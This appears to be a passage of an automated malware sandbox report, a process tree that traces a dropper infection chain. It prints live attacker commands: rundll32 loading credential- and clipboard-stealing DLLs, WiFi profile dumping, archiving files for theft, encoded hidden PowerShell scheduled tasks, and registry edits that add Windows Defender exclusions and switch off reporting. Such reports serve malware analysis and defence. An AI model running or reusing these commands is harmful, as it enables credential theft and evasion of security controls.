        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4912
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2704 /prefetch:8
        5⤵
        
        PID:3448
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
        5⤵
        
        PID:2988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
        5⤵
        
        PID:4028
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3820 /prefetch:1
        5⤵
        
        PID:2892
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4028 /prefetch:1
        5⤵
        
        PID:3360
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:1
        5⤵
        
        PID:5140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1824 /prefetch:1
        5⤵
        
        PID:5236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
        5⤵
        
        PID:5460
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3924 /prefetch:1
        5⤵
        
        PID:5756
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
        5⤵
        
        PID:6008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3900 /prefetch:1
        5⤵
        
        PID:6052
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5932 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6176 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:1
        5⤵
        
        PID:2408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6252 /prefetch:1
        5⤵
        
        PID:6328
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6436 /prefetch:1
        5⤵
        
        PID:6392
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6616 /prefetch:1
        5⤵
        
        PID:6624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,15039500365050984681,9704689823077839111,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5324 /prefetch:1
        5⤵
        
        PID:6976
- - C:\Users\Admin\AppData\Local\Temp\1000046001\amert.exe
    "C:\Users\Admin\AppData\Local\Temp\1000046001\amert.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2028
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:5740
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:5816
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:5864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\084248216164_Desktop.zip' -CompressionLevel Optimal
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5284
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    PID:3744

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4060

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3696

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4536
- C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe
  "C:\Users\Admin\AppData\Local\Temp\1000985001\alex1234.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:5724
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4084
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4088
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5080
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2596
  - - C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"
      4⤵
      PID:4328
  - - C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe
      "C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"
      4⤵
      PID:4808
- C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe
  "C:\Users\Admin\AppData\Local\Temp\1001039001\redlinepanel.exe"
  2⤵
  - Executes dropped EXE
  PID:5680
- C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe
  "C:\Users\Admin\AppData\Local\Temp\1001040001\32456.exe"
  2⤵
  PID:4680
- C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe
  "C:\Users\Admin\AppData\Local\Temp\1001053001\goldprimeldlldf.exe"
  2⤵
  PID:5704
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5860
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1236
- C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe
  "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe"
  2⤵
  PID:3908
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2356
- - C:\Users\Admin\AppData\Local\Temp\1000183001\Uni400uni.exe
    "C:\Users\Admin\AppData\Local\Temp\1000183001\Uni400uni.exe"
    3⤵
    PID:2408
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
      4⤵
      PID:2908
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:2364
    - - C:\Users\Admin\Pictures\ooiSsRYwBFUjZYgGisrOByWY.exe
        
        "C:\Users\Admin\Pictures\ooiSsRYwBFUjZYgGisrOByWY.exe"
        5⤵
        
        PID:6204
      - C:\Users\Admin\AppData\Local\Temp\u4sc.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4sc.0.exe"
        6⤵
        
        PID:7352
      - C:\Users\Admin\AppData\Local\Temp\u4sc.1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u4sc.1.exe"
        6⤵
        
        PID:7680
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6204 -s 1164
        6⤵
        Program crash
        
        PID:7904
    - - C:\Users\Admin\Pictures\IOYqFvNEDjsGlGKn7O4twM6N.exe
        
        "C:\Users\Admin\Pictures\IOYqFvNEDjsGlGKn7O4twM6N.exe"
        5⤵
        
        PID:6212
    - - C:\Users\Admin\Pictures\dXw919U7fXvGZwWv5v04P8MH.exe
        
        "C:\Users\Admin\Pictures\dXw919U7fXvGZwWv5v04P8MH.exe"
        5⤵
        
        PID:6252
    - - C:\Users\Admin\Pictures\RvtNAbR3p6maqu8EjjsfOEi1.exe
        
        "C:\Users\Admin\Pictures\RvtNAbR3p6maqu8EjjsfOEi1.exe"
        5⤵
        
        PID:6572
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5696
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5696 -s 548
        7⤵
        Program crash
        
        PID:6992
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5696 -s 564
        7⤵
        Program crash
        
        PID:6332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 864
        6⤵
        Program crash
        
        PID:7320
    - - C:\Users\Admin\Pictures\T2cC9IXWfgD7HqrC0In7hJ5Z.exe
        
        "C:\Users\Admin\Pictures\T2cC9IXWfgD7HqrC0In7hJ5Z.exe"
        5⤵
        
        PID:6672
    - - C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe
        
        "C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe" --silent --allusers=0
        5⤵
        
        PID:6940
      - C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe
        
        C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.35 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6ba9e1d0,0x6ba9e1dc,0x6ba9e1e8
        6⤵
        
        PID:6616
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\ZMtb7MH7MgJ7fjCkZZHePern.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\ZMtb7MH7MgJ7fjCkZZHePern.exe" --version
        6⤵
        
        PID:7124
      - C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe
        
        "C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=6940 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240401211532" --session-guid=4c961674-3416-4255-a270-ab0b8b3cbac3 --server-tracking-blob=Mjk2MDQ5ODcxMDFmMzk1NDc2NDdiNmRjMTEwMmMzY2YyMDM2ZWFkNDRiZjAyYjNjZWRjMmZkN2NhMDVhZGVmNjp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N18xMjMiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMSIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTIwMDYxMjQuMjM2OSIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N18xMjMiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6ImI2NjMxOTkzLTZiZGEtNDNlNC1iYzk2LTk4ZjA3NzlkYzk3NiJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=7C05000000000000
        6⤵
        
        PID:4932
        
        C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe
        
        C:\Users\Admin\Pictures\ZMtb7MH7MgJ7fjCkZZHePern.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.35 --initial-client-data=0x2bc,0x2c0,0x2c4,0x28c,0x2c8,0x6ac5e1d0,0x6ac5e1dc,0x6ac5e1e8
        7⤵
        
        PID:5860
    - - C:\Users\Admin\Pictures\IHuaBZpTu5PVVPzx1DmIX9JG.exe
        
        "C:\Users\Admin\Pictures\IHuaBZpTu5PVVPzx1DmIX9JG.exe"
        5⤵
        
        PID:1792
    - - C:\Users\Admin\Pictures\JgszdPsdbaMJIPAsLaZz6oa6.exe
        
        "C:\Users\Admin\Pictures\JgszdPsdbaMJIPAsLaZz6oa6.exe"
        5⤵
        
        PID:6780
      - C:\Users\Admin\AppData\Local\Temp\7zSFD28.tmp\Install.exe
        
        .\Install.exe
        6⤵
        
        PID:7252
        
        C:\Users\Admin\AppData\Local\Temp\7zS14A7.tmp\Install.exe
        
        .\Install.exe /mdwQTdidWRHSM "385118" /S
        7⤵
        
        PID:8004
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        8⤵
        
        PID:5176
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        9⤵
        
        PID:2844
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        10⤵
        
        PID:4448
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        10⤵
        
        PID:3500
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        8⤵
        
        PID:6896
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        9⤵
        
        PID:2828
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        10⤵
        
        PID:6828
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        10⤵
        
        PID:5380
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gxvIFgZBh" /SC once /ST 06:16:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        8⤵
        Creates scheduled task(s)
        
        PID:1836
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gxvIFgZBh"
        8⤵
        
        PID:8052
    - - C:\Users\Admin\Pictures\vq4e1KnqW5h00ZfTc3pspjRp.exe
        
        "C:\Users\Admin\Pictures\vq4e1KnqW5h00ZfTc3pspjRp.exe"
        5⤵
        
        PID:5396
      - C:\Users\Admin\AppData\Local\Temp\7zS6AD.tmp\Install.exe
        
        .\Install.exe
        6⤵
        
        PID:7656
        
        C:\Users\Admin\AppData\Local\Temp\7zS2188.tmp\Install.exe
        
        .\Install.exe /mdwQTdidWRHSM "385118" /S
        7⤵
        
        PID:7180
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        8⤵
        
        PID:3456
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        9⤵
        
        PID:6576
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        10⤵
        
        PID:8152
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        10⤵
        
        PID:8092
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        8⤵
        
        PID:1860
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        9⤵
        
        PID:2208
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        10⤵
        
        PID:7752
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        10⤵
        
        PID:7248
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gfgVjCBMB" /SC once /ST 06:14:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        8⤵
        Creates scheduled task(s)
        
        PID:5552
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gfgVjCBMB"
        8⤵
        
        PID:7712
- C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe"
  2⤵
  PID:5388
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:804
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5388 -s 804
    3⤵
    - Program crash
    PID:4416
- C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe
  "C:\Users\Admin\AppData\Local\Temp\1001078001\koooooo.exe"
  2⤵
  PID:5816
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:944
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 864
    3⤵
    - Program crash
    PID:4504
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main
  2⤵
  PID:6124
